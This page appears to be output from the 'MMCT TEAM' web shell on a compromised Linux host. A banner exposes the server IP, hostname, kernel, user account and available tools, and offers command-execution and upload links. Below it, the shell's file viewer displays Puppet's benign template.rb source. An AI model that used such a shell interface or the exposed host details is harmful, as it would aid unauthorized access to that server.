MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 18.216.95.250
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/share/ruby/vendor_ruby/puppet/parser/functions/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/share/ruby/vendor_ruby/puppet/parser/functions/template.rb
Puppet::Parser::Functions::newfunction(:template, :type => :rvalue, :arity => -2, :doc =>
  "Loads an ERB template from a module, evaluates it, and returns the resulting
  value as a string.

  The argument to this function should be a `<MODULE NAME>/<TEMPLATE FILE>`
  reference, which will load `<TEMPLATE FILE>` from a module's `templates`
  directory. (For example, the reference `apache/vhost.conf.erb` will load the
  file `<MODULES DIRECTORY>/apache/templates/vhost.conf.erb`.)

  This function can also accept:

  * An absolute path, which can load a template file from anywhere on disk.
  * Multiple arguments, which will evaluate all of the specified templates and
  return their outputs concatenated into a single string.") do |vals|
    vals.collect do |file|
      # Use a wrapper, so the template can't get access to the full
      # Scope object.
      debug "Retrieving template #{file}"

      wrapper = Puppet::Parser::TemplateWrapper.new(self)
      wrapper.file = file
      begin
        wrapper.result
      rescue => detail
        info = detail.backtrace.first.split(':')
        raise Puppet::ParseError,
          "Failed to parse template #{file}:\n  Filepath: #{info[0]}\n  Line: #{info[1]}\n  Detail: #{detail}\n"
      end
    end.join("")
end

MMCT - 2023